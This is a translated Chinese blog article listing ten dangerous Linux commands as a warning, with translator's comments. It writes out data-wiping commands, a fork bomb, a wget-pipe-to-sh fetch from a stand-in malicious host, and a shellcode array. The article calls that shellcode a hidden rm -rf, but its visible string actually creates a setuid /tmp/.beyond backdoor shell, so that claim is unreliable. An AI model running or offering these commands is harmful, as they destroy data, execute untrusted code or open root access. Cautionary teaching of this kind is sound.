永遠不要在Linux執行的10個最危險的命令

pythontab發表於2014-10-11

Linux命令列佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正 在做什麼時候。這篇文章並不打算引來你對Linux或linux 命令列的憤怒。我們只是想讓你意識到在你執行某些命令時應該三思而後行。(譯註:當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救藥;在普 通使用者身份下,破壞的只是自己的一畝三分地。)

1. rm -rf 命令

rm -rf命令是刪除資料夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。

rm 命令在Linux下通常用來刪除檔案。

rm -r 命令遞迴的刪除資料夾,甚至是空的資料夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的資料夾”)

rm -f 命令能不經過詢問直接刪除‘只讀檔案’。(譯註:Linux下刪除檔案並不在乎該檔案是否是隻讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個引數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm透過別名的方式增加-i引數來要求刪除確認,而-f則抑制了這個提示。)

rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)

rm -rf *: 強制刪除當前目錄的所有檔案。

rm -rf . : 強制刪除當前資料夾及其子資料夾。

從現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”檔案對‘rm‘命令建立rm -i的別名,來預防用 ‘rm‘命令刪除檔案時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f引數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)

2. :(){:|:&};: 命令

這就是個fork 炸彈的例項。具體操作是透過定義一個名為 ‘:‘的函式,它會呼叫自己兩次,一次在前臺另一次執行在後臺。它會反覆的執行下去直到系統崩潰。

:(){:|:&};:

哦?你確認你要試試麼?千萬別在公司正式的伺服器上實驗啊~~

3. 命令 > /dev/sda

上列命令會將某個‘命令‘的輸出寫到塊裝置/dev/sda中。該操作會將在塊裝置中的所有資料塊替換為命令寫入的原始資料,從而導致整個塊裝置的資料丟失。

4. mv 資料夾 /dev/null

這個命令會移動某個‘資料夾‘到/dev/null。在Linux中 /dev/null 或 null 裝置是一個特殊的檔案,所有寫入它的資料都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,透過將資料夾移動到黑洞,並不能阻止資料恢復軟體的救贖,所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾淨淨的。)

# mv /home/user/* /dev/null 

上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令會從一個(也許是)惡意源下載一個指令碼並執行。Wget命令會下載這個指令碼,而sh會(無條件的)執行下載下來的指令碼。

注意: 你應該時刻注意你下載包或指令碼的源。只能使用那些從可信任的源中下載指令碼/程式。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)

6. mkfs.ext3 /dev/sda

上列命令會格式化塊裝置‘sda’,你無疑知道在執行上列命令後你的塊裝置(硬碟驅動器)會被格式化,嶄新的!沒有任何資料,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的裝置,除非是作為raw裝置使用,一般都需要將sda分成類似sda1、sda2這樣的分割槽後才使用。當然,無論你使用sda還是sda1,這樣對塊裝置或分割槽進行mkfs都是毀滅性的,上面的資料都會被蒸發了。)

7. > file

上列命令常用來清空檔案內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的檔案是空的或者還不存在,否則原來的檔案可真是恢復不了了——連資料恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是“>>”,即累加新的輸出到檔案,而不是重新整理那個檔案。)。如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf” 的命令會覆蓋配置檔案或其他任何的系統配置檔案。

8. ^foo^bar

這個命令在我們十個鮮為人知的 Linux 命令 – Part 3中描述過,用來編輯先前執行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“駭客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令會向塊裝置sda寫入隨機的垃圾檔案從而擦出資料。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除資料麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)

10. 隱藏命令

下面的命令其實就是上面第一個命令 (rm -rf)。這裡的程式碼是隱藏在十六進位制裡的,一個無知的使用者可能就會被愚弄。在終端裡執行下面命令可能會擦除你的根分割槽。

這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/執行從未知來源的程式碼。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p  

release */  

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″  

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″  

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″  

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″  

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″  

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″  

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″  

“cp -p /bin/sh /tmp/.beyond; chmod 4755  

/tmp/.beyond;”; 

注意: 不要在你的或你的同學或學校的電腦裡的Linux終端或Shell執行以上的任何一個命令。如果你想測試它們,請在虛擬機器上執行。任何不和諧或資料丟失,由於執行上面的命令導致你的系統崩潰,文章作者和Tecmint概不負責。(譯註:譯者和轉載網站也不負責~!)

今天就到此為止吧,我會很快回來這裡,同時帶上另一篇你們喜歡的文章。到那時請繼續關注和訪問Tecmint。如果你知道任何其他危險的Linux命令,也想新增到我們的列表中,請透過評論留言給我們同時也別忘了留下你的寶貴意見。

英文來源: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/


相關文章